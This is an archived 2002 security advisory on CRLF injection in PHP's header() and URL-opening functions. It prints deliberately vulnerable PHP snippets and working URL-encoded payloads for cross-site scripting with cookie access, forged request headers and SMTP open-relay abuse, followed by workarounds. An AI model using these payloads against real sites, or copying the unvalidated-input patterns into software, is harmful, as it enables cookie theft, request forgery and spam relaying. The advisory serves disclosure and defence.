Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: web5672.htm

PHP header() CRLF Injection



9th Sep 2002 [SBWID-5672]
COMMAND

	
		PHP header() CRLF Injection
	
	

SYSTEMS AFFECTED

	
		PHP 4.1.2, 4.2.2, 4.2.3 possibly others
	
	

PROBLEM

	
		Matthew Murphy [mattmurphy@kc.rr.com] found :
		

		PHP's header() function is used to modify  HTTP  header  information  by
		specifying a header line, such as this:
		

		<?php header("Location: http://www.yahoo.com/"); ?>

		

		It is commonplace to see things such as this:
		

		--- REDIR.PHP ---

		<?php header("Location: $_GET['$url']"); ?>

		--- REDIR.PHP ---

		

		http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F

		%6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64%

		6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2

		1%2D%2D

		

		Will cause a series of lines to be produced:
		

		HTTP/1.1 302 Found

		Server: Xitami

		Date: Sat, 07 Sep 2002 21:50:17 GMT

		Content-length: 96

		Content-type: text/html

		X-powered-by: PHP/4.2.3

		{Location: http://www.yahoo.com/

		

		

		<SCRIPT>alert(document.cookie)</SCRIPT><!--}        <-- See our code in between the brackets

		Content-type: text/html

		

		The HTML produced is "broken" -- that  is,  it  doesn't  comply  to  RFC
		standards, because it doesn't have a "-->" tag. I did  this  to  supress
		the stupid "Content-type" header that PHP was dumping in the response.
		

		By using this, attackers can perform  cross-site  scripting  attacks  or
		initiate  downloads,  in  rare  cases  (via  HTTP   headers,   such   as
		content-dispostion, etc.)
		

		

		 Update (10 september 2002)

		 ======

		

		Ulf Harnhammar adds [ulfh@update.uu.se] [http://www.metaur.nu] :
		

		PHP  has  several  functions  that  take  filenames  as  one  of   their
		arguments: fopen(), file() and some others. If  allow_url_fopen  is  set
		to On in php.ini, those functions also accept URLs  instead  of  regular
		files, and they connect to the  server  in  question  with  the  correct
		protocol. This  functionality  is  vulnerable  to  some  CRLF  Injection
		attacks.
		

		1) We start with the simple attacks. Let's say that this PHP snippet  is
		saved as snippet.php:
		

		<?php

		

		echo '<pre>';

		

		print_r(file("http://www.site1.st/api?sunnan=$sunnan&vind=$vind"));

		

		echo '</pre>';

		

		?>

		

		If an attacker surfs to:
		

		snippet.php?sunnan=visby&vind=gotland%20HTTP/1.0%0D%0AHost%3A%20www.

		site2.st%0D%0AUser-Agent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A%2F

		%2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20user%3Dulf%0D%0A%0D%0A

		(should be on one line)

		

		this HTTP query will be sent to www.site1.st:
		

		GET /api?sunnan=visby&vind=gotland HTTP/1.0

		Host: www.site2.st

		User-Agent: Ulf/0.0

		Referer: http://www.gnuheter.org/

		Cookie: user=ulf

		

		 HTTP/1.0

		Host: www.site1.st

		User-Agent: PHP/4.1.2

		

		As you can see, the real headers from PHP are sent as well, but the  web
		server ignores them, as we send two CRLFs before them to  indicate  that
		the headers are over.
		

		Using this technique, we can add arbitrary  user  agents,  referers  and
		cookies. We can also break  out  of  restrictions  and  access  site2.st
		instead of the site site1.st that snippet.php tries to restrict  us  to,
		if site1.st and site2.st are virtual hosts on the same machine.
		

		2) If the PHP script is even worse, like this one called dotcom.php:
		

		<?php

		

		$fp = fopen($url, 'r');

		fpassthru($fp);

		

		?>

		

		we can connect to arbitrary ports and send (almost) arbitrary  commands,
		thus turning the dotcom.php script into a proxy and an open mail relay.
		

		If we surf to:
		

		dotcom.php?url=http%3A%2F%2Fmail.site1.st%3A25%2F+HTTP/1.0%0D%0AHELO+

		my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+

		TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+

		PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A

		(should be on one line)

		

		the PHP interpreter will connect to mail.site1.st on port 25,  and  send
		the following commands:
		

		GET / HTTP/1.0

		HELO my.own.machine

		MAIL FROM:<me@my.own.machine>

		RCPT TO:<info@site1.st>

		DATA

		i will never say the word PROCRASTINATE again

		.

		QUIT

		

		 HTTP/1.0

		Host: mail.site1.st:25

		User-Agent: PHP/4.1.2

		

		Both PHP and the MTA will complain, but the mail is still sent.
	
	

SOLUTION

	
		For more information about this group of problems, read  Ulf  Harnhammar
		"CRLF Injection" paper, which is available at
		

		http://online.securityfocus.com/archive/1/271515

		

		

		

		 Workarounds :

		 ===========

		

		One solution is to make sure that all variables that are  used  in  this
		type of URL are clean, by including this command in your PHP scripts:
		

		$var = preg_replace('/\s+/', '', $var);

		

		Another solution: if your scripts don't need to access URLs like  files,
		you can switch off that functionality by setting allow_url_fopen to  Off
		in php.ini.
		

		 Update (13 spetember 2002)

		 ======

		

		Stefan Esser [http://www.php.net], patched  PHP  for  that  purpose  and
		comments :
		

		--snipp--
		

		Your fopen() thing does only occur if the  programmer  does  TWO  stupid
		things: A) pass  user  input  directly  to  a  function  without  proper
		validation, B) pass an url to a function that is not an url. Any  string
		that contains control chars cannot be a valid url.  Before  you  pass  a
		string that should be an url to any function you  MUST  urlencode()  it.
		No need for your reg expression at all.
		

	


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH